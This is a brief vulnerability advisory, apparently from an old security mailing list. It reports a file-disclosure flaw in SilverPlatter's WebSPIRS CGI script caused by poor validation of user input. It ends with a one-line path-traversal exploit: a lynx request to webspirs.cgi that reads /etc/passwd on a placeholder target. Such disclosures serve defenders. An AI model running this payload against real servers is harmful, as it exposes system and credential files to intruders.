Name : WebSPIRS CGI script "show files" Vulnerability.
About : WebSPIRS is SilverPlatter's Information Retrieval
System for the World Wide Web (WWW). It is a common
gateway interface (CGI) application which allows any
forms-capable browser, such as Netscape, to search
SilverPlatter (SP) Electronic Reference Library (ERL)
databases available over the Internet.
http://www.silverplatter.com.
Problem: Problem lyes in incorrect validation of user submitted
-by-browser information, that can show any file of the
system where script installed.
Exploit:
lynx http://www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../etc/passwd
by: UkR-XblP (cuctema@ok.ru)